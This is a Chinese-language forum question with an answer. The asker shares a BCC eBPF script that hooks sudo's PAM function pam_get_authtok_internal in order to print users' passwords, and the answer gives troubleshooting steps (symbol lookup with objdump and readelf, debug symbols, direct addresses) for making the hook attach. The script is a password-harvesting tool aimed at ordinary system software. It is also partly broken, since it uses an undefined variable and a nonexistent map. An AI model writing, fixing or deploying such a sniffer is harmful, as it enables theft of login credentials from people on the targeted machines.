我尝试使用 ebpf 挂钩 pam_get_authtok_internal 但它不起作用
from bcc import BPF
# Define the BPF program code to print the password
bpf_text = """
#include <uapi/linux/ptrace.h>
int print_password (pam_handle_t *pamh, int item,const char **authtok, const char *prompt,unsigned int flags)
{
char buf[256];
bpf_probe_read_str(buf, sizeof(buf), (void *)authtok);
bpf_trace_printk("Password: %s\\n", buf);
return 0;
}
"""
b = BPF(text=bpf_text)
b.attach_uprobe(name=sudo_path,sym="pam_get_authtok_internal", fn_name="print_password")
def print_password(cpu, data, size):
pid = b["passwords"].Key(data).value
password = data + size - 1
print(f"PID {pid} Password: {password.decode()}")
有人可以帮我吗
您将无法附加此
uprobe
,因为 sudo
二进制文件中没有这样的符号。在尝试附加 uprobe
或 uretprobe
之前,请先尝试通过 objdump -tT <file>
或 readelf -s <file>
检查哪些符号可用。
第二个问题是函数
pam_get_authtok_internal
被定义为static
,因此,它很可能不会出现在正确文件的符号表中(应该是libpam.so
)。您可以检查哪些符号可用objdump -tT /usr/lib/libpam.so
。
进行调试构建可能会解决此问题,另一种选择可能是安装调试符号并使用调试符号提供的信息来查明此函数的正确位置。您可以使用
objdump -e
或 objdump -g
从调试符号中获取信息,然后使用此地址而不是符号。